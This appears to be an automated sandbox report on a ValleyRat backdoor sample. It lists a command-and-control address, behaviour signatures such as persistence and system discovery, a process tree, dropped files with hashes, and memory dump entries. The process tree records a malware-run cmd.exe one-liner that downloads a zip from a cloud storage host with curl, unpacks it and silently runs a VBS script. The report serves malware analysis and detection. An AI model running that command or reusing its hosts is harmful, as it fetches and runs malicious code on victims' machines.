Analysis

  • max time kernel
    899s
  • max time network
    900s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 14:17

General

  • Target
    OP-5/NO-5.exe
  • Size 671KB
  • Sample261026-rlxcmaxsg1
  • SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • valleyrat_s2

C2
  • 156.234.7.14:8001

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe
    "C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe"
    1⤵
    • Sets service image path in registry
    • Adds Run key to start application
    • Enumerates connected drives
    • Enumerates video capture drivers
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: LoadsDriver
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3120
    • C:\Users\Public\cache.exe
      C:\Users\Public\cache.exe
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      PID:1000
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3228
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2288
      • C:\Windows\SysWOW64\tar.exe
        tar -xf C:\DMRootCA.zip -C C:\DMRootCA
        3⤵
          PID:4252
    • C:\Users\Public\svchostsr.exe
      C:\Users\Public\svchostsr.exe
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      PID:1840
    • C:\Windows\System32\drivers\kvckiller.sys
      C:\Windows\System32\drivers\kvckiller.sys
      1⤵
      • Executes dropped EXE
      PID:3692
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:3316
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3156
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3284
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4092
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:1864

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              DMRootCA.zip

              • Path C:\DMRootCA.zip
              • Size 384B
              • SHA256 c769a2e87da1a97b238413e2973b270c3fb6490de83ca45e5d885234a26c2d3c
              • MD5 SHA1 SHA512 TLSH

              prep_Activatable Class_Hermes_perf.cache

              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 607B
              • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
              • MD5 SHA1 SHA512 TLSH

              EmbeddedDriverService.sys

              • Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
              • Size 34KB
              • SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              cache.exe

              • Path C:\Users\Public\cache.exe
              • Size 349KB
              • SHA256 46f65f7089e8bf0468a096247243d513f4667a964c239ea00334431122f1a544
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libcef.dll

              • Path C:\Users\Public\libcef.dll
              • Size 11.6MB
              • SHA256 f8515b0e2a68b677a105ed438062223ac91e61c7796bd6cd83089e1b0591016b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              svchostsr.exe

              • Path C:\Users\Public\svchostsr.exe
              • Size 671KB
              • SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
              • MD5 SHA1 SHA512 SSDEEP TLSH

              kvckiller.sys

              • Path C:\Windows\System32\drivers\kvckiller.sys
              • Size 37KB
              • SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1840-121-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-117-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-373-0x00000000046A0000-0x0000000004706000-memory.dmp

              memory/1840-346-0x0000000004430000-0x0000000004496000-memory.dmp

              memory/1840-340-0x00000000046A0000-0x0000000004706000-memory.dmp

              memory/1840-322-0x00000000044D0000-0x0000000004536000-memory.dmp

              memory/1840-311-0x0000000004430000-0x0000000004496000-memory.dmp

              memory/1840-298-0x0000000004260000-0x00000000042C6000-memory.dmp

              memory/1840-290-0x00000000044D0000-0x0000000004536000-memory.dmp

              memory/1840-274-0x0000000004300000-0x0000000004366000-memory.dmp

              memory/1840-264-0x0000000004260000-0x00000000042C6000-memory.dmp

              memory/1840-250-0x0000000003BB0000-0x0000000003C16000-memory.dmp

              memory/1840-240-0x0000000004300000-0x0000000004366000-memory.dmp

              memory/1840-230-0x0000000003840000-0x00000000038A6000-memory.dmp

              memory/1840-215-0x0000000003BB0000-0x0000000003C16000-memory.dmp

              memory/1840-206-0x00000000038E0000-0x0000000003946000-memory.dmp

              memory/1840-192-0x0000000003840000-0x00000000038A6000-memory.dmp

              memory/1840-182-0x00000000033E0000-0x0000000003446000-memory.dmp

              memory/1840-171-0x00000000038E0000-0x0000000003946000-memory.dmp

              memory/1840-154-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-147-0x00000000033E0000-0x0000000003446000-memory.dmp

              memory/1840-114-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-119-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-115-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-118-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-120-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-122-0x0000000003270000-0x00000000032D6000-memory.dmp

              memory/1840-94-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-103-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-113-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-112-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-111-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-109-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-110-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-84-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-83-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-101-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-107-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-89-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-88-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-90-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-100-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-104-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-105-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-108-0x00000000028A0000-0x00000000028C2000-memory.dmp

              memory/1840-93-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-102-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-98-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-97-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-96-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-95-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-92-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-91-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/1840-99-0x0000000003310000-0x0000000003376000-memory.dmp

              memory/3120-45-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-2-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-6-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-87-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-5-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-80-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-69-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-70-0x0000000010000000-0x000000001001B000-memory.dmp

              memory/3120-4-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-67-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-48-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-0-0x0000000002D80000-0x0000000002D81000-memory.dmp

              memory/3120-49-0x0000000010000000-0x0000000010062000-memory.dmp

              memory/3120-47-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-20-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-7-0x0000000003930000-0x0000000003990000-memory.dmp

              memory/3120-29-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-30-0x0000000010000000-0x0000000010071000-memory.dmp

              memory/3120-3-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-28-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-27-0x0000000002E60000-0x0000000002E82000-memory.dmp

              memory/3120-26-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-24-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-9-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-13-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-8-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-10-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-11-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-12-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-14-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-15-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-16-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-17-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-18-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-19-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-22-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-21-0x0000000003A90000-0x0000000003AF6000-memory.dmp

              memory/3120-1-0x0000000002DC0000-0x0000000002E41000-memory.dmp